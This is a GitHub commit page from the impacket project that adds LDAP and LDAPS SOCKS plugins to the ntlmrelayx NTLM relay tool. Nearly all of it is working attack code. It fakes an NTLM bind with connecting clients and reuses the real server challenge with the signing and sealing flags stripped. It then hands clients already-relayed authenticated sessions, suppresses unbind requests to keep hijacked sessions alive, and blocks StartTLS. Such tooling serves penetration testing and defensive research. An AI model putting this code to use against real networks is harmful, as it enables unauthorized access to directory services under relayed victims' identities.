Skip to content

Commit 9c8e408

Browse files
authored
Add support for LDAP and LDAPS protocols in ntlmrelayx SOCKS (#1825)
* Add support for LDAP and LDAPS in ntlmrelayx SOCKS Should fix #514 * Use real NTLM Challenge message during LDAP socks relay * Reply to generic LDAP messages that comes before authentication and drop unbind LDAP messages * Fix missing imports * LDAP socks code cleaning * Better handling of initial LDAP bind request in ntlmrelayx LDAP socks * Better handling of clients' closing connections in ntlmrelayx LDAP socks
1 parent c1a53aa commit 9c8e408

File tree

3 files changed

+368
-0
lines changed

3 files changed

+368
-0
lines changed

impacket/examples/ntlmrelayx/clients/ldaprelayclient.py

+8
Original file line numberDiff line numberDiff line change
@@ -99,6 +99,7 @@ def sendNegotiate(self, negotiateMessage):
9999
if result['result'] == RESULT_SUCCESS:
100100
challenge = NTLMAuthChallenge()
101101
challenge.fromString(result['server_creds'])
102+
self.sessionData['CHALLENGE_MESSAGE'] = challenge
102103
return challenge
103104
else:
104105
raise LDAPRelayClientException('Server did not offer NTLM authentication!')
@@ -156,6 +157,13 @@ def create_authenticate_message(self):
156157
def parse_challenge_message(self, message):
157158
pass
158159

160+
def keepAlive(self):
161+
# Basic LDAP query to keep the connection alive
162+
self.session.search(search_base='',
163+
search_filter='(objectClass=*)',
164+
search_scope='BASE',
165+
attributes=['namingContexts'])
166+
159167
class LDAPSRelayClient(LDAPRelayClient):
160168
PLUGIN_NAME = "LDAPS"
161169
MODIFY_ADD = MODIFY_ADD
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,313 @@
1+
import select
2+
from pyasn1.codec.ber import encoder, decoder
3+
from pyasn1.error import SubstrateUnderrunError
4+
from pyasn1.type import univ
5+
6+
from impacket import LOG, ntlm
7+
from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
8+
from impacket.ldap.ldap import LDAPSessionError
9+
from impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, SearchRequest, SearchResultEntry, SearchResultDone, LDAPMessage, LDAPString, ResultCode, PartialAttributeList, PartialAttribute, AttributeValue, UnbindRequest, ExtendedRequest
10+
from impacket.ntlm import NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_SEAL
11+
12+
PLUGIN_CLASS = 'LDAPSocksRelay'
13+
14+
class LDAPSocksRelay(SocksRelay):
15+
PLUGIN_NAME = 'LDAP Socks Plugin'
16+
PLUGIN_SCHEME = 'LDAP'
17+
18+
MSG_SIZE = 4096
19+
20+
def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
21+
SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
22+
23+
@staticmethod
24+
def getProtocolPort():
25+
return 389
26+
27+
def initConnection(self):
28+
# No particular action required to initiate the connection
29+
pass
30+
31+
def skipAuthentication(self):
32+
# Faking an NTLM authentication with the client
33+
while True:
34+
messages = self.recv_ldap_msg()
35+
if messages is None:
36+
LOG.warning('LDAP: Client did not send ldap messages or closed connection')
37+
return False
38+
LOG.debug(f'LDAP: Received {len(messages)} message(s)')
39+
40+
for message in messages:
41+
msg_component = message['protocolOp'].getComponent()
42+
if msg_component.isSameTypeWith(BindRequest):
43+
# BindRequest received
44+
45+
if msg_component['authentication'] == univ.OctetString(''):
46+
# First bind message without authentication
47+
# Replying with a request for NTLM authentication
48+
49+
LOG.debug('LDAP: Got empty bind request')
50+
51+
bindresponse = BindResponse()
52+
bindresponse['resultCode'] = ResultCode('success')
53+
bindresponse['matchedDN'] = LDAPDN('NTLM')
54+
bindresponse['diagnosticMessage'] = LDAPString('')
55+
self.send_ldap_msg(bindresponse, message['messageID'])
56+
57+
# Let's receive next messages
58+
continue
59+
60+
elif 'sicilyNegotiate' in msg_component['authentication']:
61+
# Requested NTLM authentication
62+
63+
LOG.debug('LDAP: Got NTLM bind request')
64+
65+
# Load negotiate message
66+
negotiateMessage = ntlm.NTLMAuthNegotiate()
67+
negotiateMessage.fromString(msg_component['authentication']['sicilyNegotiate'].asOctets())
68+
69+
# Reuse the challenge message from the real authentication with the server
70+
challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
71+
# We still remove the annoying flags
72+
challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)
73+
challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SEAL)
74+
75+
# Building the LDAP bind response message
76+
bindresponse = BindResponse()
77+
bindresponse['resultCode'] = ResultCode('success')
78+
bindresponse['matchedDN'] = LDAPDN(challengeMessage.getData())
79+
bindresponse['diagnosticMessage'] = LDAPString('')
80+
81+
# Sending the response
82+
self.send_ldap_msg(bindresponse, message['messageID'])
83+
84+
elif 'sicilyResponse' in msg_component['authentication']:
85+
# Received an NTLM auth bind request
86+
87+
# Parsing authentication method
88+
chall_response = ntlm.NTLMAuthChallengeResponse()
89+
chall_response.fromString(msg_component['authentication']['sicilyResponse'].asOctets())
90+
91+
username = chall_response['user_name'].decode('utf-16le')
92+
domain = chall_response['domain_name'].decode('utf-16le')
93+
self.username = f'{domain}/{username}'
94+
95+
# Checking for the two formats the domain can have (taken from both HTTP and SMB socks plugins)
96+
if f'{domain}/{username}'.upper() in self.activeRelays:
97+
self.username = f'{domain}/{username}'.upper()
98+
elif f'{domain.split(".", 1)[0]}/{username}'.upper() in self.activeRelays:
99+
self.username = f'{domain.split(".", 1)[0]}/{username}'.upper()
100+
else:
101+
# Username not in active relays
102+
LOG.error('LDAP: No session for %s@%s(%s) available' % (
103+
username, self.targetHost, self.targetPort))
104+
return False
105+
106+
if self.activeRelays[self.username]['inUse'] is True:
107+
LOG.error('LDAP: Connection for %s@%s(%s) is being used at the moment!' % (
108+
self.username, self.targetHost, self.targetPort))
109+
return False
110+
else:
111+
LOG.info('LDAP: Proxying client session for %s@%s(%s)' % (
112+
self.username, self.targetHost, self.targetPort))
113+
self.activeRelays[self.username]['inUse'] = True
114+
self.session = self.activeRelays[self.username]['protocolClient'].session.socket
115+
116+
# Building successful LDAP bind response
117+
bindresponse = BindResponse()
118+
bindresponse['resultCode'] = ResultCode('success')
119+
bindresponse['matchedDN'] = LDAPDN('')
120+
bindresponse['diagnosticMessage'] = LDAPString('')
121+
122+
# Sending successful response
123+
self.send_ldap_msg(bindresponse, message['messageID'])
124+
125+
return True
126+
else:
127+
LOG.error('LDAP: Received an unknown LDAP binding request, cannot continue')
128+
return False
129+
130+
else:
131+
msg_component = message['protocolOp'].getComponent()
132+
if msg_component.isSameTypeWith(SearchRequest):
133+
# Pre-auth search request
134+
135+
if msg_component['attributes'][0] == LDAPString('supportedCapabilities'):
136+
# supportedCapabilities
137+
response = SearchResultEntry()
138+
response['objectName'] = LDAPDN('')
139+
response['attributes'] = PartialAttributeList()
140+
141+
attribs = PartialAttribute()
142+
attribs.setComponentByName('type', 'supportedCapabilities')
143+
attribs.setComponentByName('vals', univ.SetOf(componentType=AttributeValue()))
144+
# LDAP_CAP_ACTIVE_DIRECTORY_OID
145+
attribs.getComponentByName('vals').setComponentByPosition(0, AttributeValue('1.2.840.113556.1.4.800'))
146+
# LDAP_CAP_ACTIVE_DIRECTORY_V51_OID
147+
attribs.getComponentByName('vals').setComponentByPosition(1, AttributeValue('1.2.840.113556.1.4.1670'))
148+
# LDAP_CAP_ACTIVE_DIRECTORY_LDAP_INTEG_OID
149+
attribs.getComponentByName('vals').setComponentByPosition(2, AttributeValue('1.2.840.113556.1.4.1791'))
150+
# ISO assigned OIDs
151+
attribs.getComponentByName('vals').setComponentByPosition(3, AttributeValue('1.2.840.113556.1.4.1935'))
152+
attribs.getComponentByName('vals').setComponentByPosition(4, AttributeValue('1.2.840.113556.1.4.2080'))
153+
attribs.getComponentByName('vals').setComponentByPosition(5, AttributeValue('1.2.840.113556.1.4.2237'))
154+
155+
response['attributes'].append(attribs)
156+
157+
elif msg_component['attributes'][0] == LDAPString('supportedSASLMechanisms'):
158+
# supportedSASLMechanisms
159+
response = SearchResultEntry()
160+
response['objectName'] = LDAPDN('')
161+
response['attributes'] = PartialAttributeList()
162+
163+
attribs = PartialAttribute()
164+
attribs.setComponentByName('type', 'supportedSASLMechanisms')
165+
attribs.setComponentByName('vals', univ.SetOf(componentType=AttributeValue()))
166+
# Force NTLMSSP to avoid parsing every type of authentication
167+
attribs.getComponentByName('vals').setComponentByPosition(0, AttributeValue('NTLM'))
168+
169+
response['attributes'].append(attribs)
170+
else:
171+
# Any other message triggers the closing of client connection
172+
return False
173+
174+
# Sending message
175+
self.send_ldap_msg(response, message['messageID'])
176+
# Sending searchResDone
177+
result_done = SearchResultDone()
178+
result_done['resultCode'] = ResultCode('success')
179+
result_done['matchedDN'] = LDAPDN('')
180+
result_done['diagnosticMessage'] = LDAPString('')
181+
self.send_ldap_msg(result_done, message['messageID'])
182+
183+
def recv_ldap_msg(self):
184+
'''Receive LDAP messages during the SOCKS client LDAP authentication.'''
185+
186+
data = b''
187+
done = False
188+
while not done:
189+
recvData = self.socksSocket.recv(self.MSG_SIZE)
190+
if recvData == b'':
191+
# Connection got closed
192+
return None
193+
if len(recvData) < self.MSG_SIZE:
194+
done = True
195+
data += recvData
196+
197+
response = []
198+
while len(data) > 0:
199+
try:
200+
message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())
201+
except SubstrateUnderrunError:
202+
# We need more data
203+
new_data = self.socksSocket.recv(self.MSG_SIZE)
204+
if new_data == b'':
205+
# Connection got closed
206+
return None
207+
remaining = data + new_data
208+
else:
209+
response.append(message)
210+
data = remaining
211+
212+
return response
213+
214+
def send_ldap_msg(self, response, message_id, controls=None):
215+
'''Send LDAP messages during the SOCKS client LDAP authentication.'''
216+
217+
message = LDAPMessage()
218+
message['messageID'] = message_id
219+
message['protocolOp'].setComponentByType(response.getTagSet(), response)
220+
if controls is not None:
221+
message['controls'].setComponents(*controls)
222+
223+
data = encoder.encode(message)
224+
225+
return self.socksSocket.sendall(data)
226+
227+
def wait_for_data(self, socket1, socket2):
228+
return select.select([socket1, socket2], [], [])[0]
229+
230+
def passthrough_sockets(self, client_sock, server_sock):
231+
while True:
232+
rready = self.wait_for_data(client_sock, server_sock)
233+
234+
for sock in rready:
235+
236+
if sock == client_sock:
237+
# Data received from client
238+
try:
239+
read = client_sock.recv(self.MSG_SIZE)
240+
except Exception:
241+
read = ''
242+
if not read:
243+
return
244+
245+
if not self.is_allowed_request(read):
246+
# Stop client connection when unallowed requests are made
247+
return
248+
249+
if not self.is_forwardable_request(read):
250+
# Do not forward unbind requests, otherwise we would loose the SOCKS
251+
continue
252+
253+
try:
254+
server_sock.send(read)
255+
except Exception:
256+
raise BrokenPipeError('Broken pipe: LDAP server is gone')
257+
258+
elif sock == server_sock:
259+
# Data received from server
260+
try:
261+
read = server_sock.recv(self.MSG_SIZE)
262+
except Exception:
263+
read = ''
264+
if not read:
265+
raise BrokenPipeError('Broken pipe: LDAP server is gone')
266+
267+
try:
268+
client_sock.send(read)
269+
except Exception:
270+
return
271+
272+
def tunnelConnection(self):
273+
'''Charged of tunneling the rest of the connection.'''
274+
275+
self.passthrough_sockets(self.socksSocket, self.session)
276+
277+
# Free the relay so that it can be reused
278+
self.activeRelays[self.username]['inUse'] = False
279+
280+
LOG.debug('LDAP: Finished tunnelling')
281+
282+
return True
283+
284+
def is_forwardable_request(self, data):
285+
try:
286+
message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())
287+
msg_component = message['protocolOp'].getComponent()
288+
289+
# Search for unbind requests
290+
if msg_component.isSameTypeWith(UnbindRequest):
291+
LOG.warning('LDAP: Client tried to unbind LDAP connection, skipping message')
292+
return False
293+
except Exception:
294+
# Is probably not an unbind LDAP message
295+
pass
296+
297+
return True
298+
299+
def is_allowed_request(self, data):
300+
try:
301+
message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())
302+
msg_component = message['protocolOp'].getComponent()
303+
304+
# Search for START_TLS LDAP extendedReq OID
305+
if msg_component.isSameTypeWith(ExtendedRequest) and msg_component['requestName'].asOctets() == b'1.3.6.1.4.1.1466.20037':
306+
# 1.3.6.1.4.1.1466.20037 is LDAP_START_TLS_OID
307+
LOG.warning('LDAP: Client tried to initiate Start TLS, closing connection')
308+
return False
309+
except Exception:
310+
# Is probably not a ExtendedReq message
311+
pass
312+
313+
return True
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
import select
2+
from impacket import LOG
3+
from impacket.examples.ntlmrelayx.servers.socksplugins.ldap import LDAPSocksRelay
4+
from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin
5+
from OpenSSL import SSL
6+
7+
PLUGIN_CLASS = "LDAPSSocksRelay"
8+
9+
class LDAPSSocksRelay(SSLServerMixin, LDAPSocksRelay):
10+
PLUGIN_NAME = 'LDAPS Socks Plugin'
11+
PLUGIN_SCHEME = 'LDAPS'
12+
13+
def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
14+
LDAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)
15+
16+
@staticmethod
17+
def getProtocolPort():
18+
return 636
19+
20+
def skipAuthentication(self):
21+
LOG.debug('Wrapping client connection in TLS/SSL')
22+
self.wrapClientConnection()
23+
24+
# Skip authentication using the same technique as LDAP
25+
try:
26+
if not LDAPSocksRelay.skipAuthentication(self):
27+
# Shut down TLS connection
28+
self.socksSocket.shutdown()
29+
return False
30+
except SSL.SysCallError:
31+
LOG.warning('Cannot wrap client socket in TLS/SSL')
32+
return False
33+
34+
return True
35+
36+
def wait_for_data(self, socket1, socket2):
37+
rready = []
38+
39+
if socket1.pending():
40+
rready.append(socket1)
41+
if socket2.pending():
42+
rready.append(socket2)
43+
44+
if not rready:
45+
rready, _, exc = select.select([socket1, socket2], [], [])
46+
47+
return rready

0 commit comments

Comments
 (0)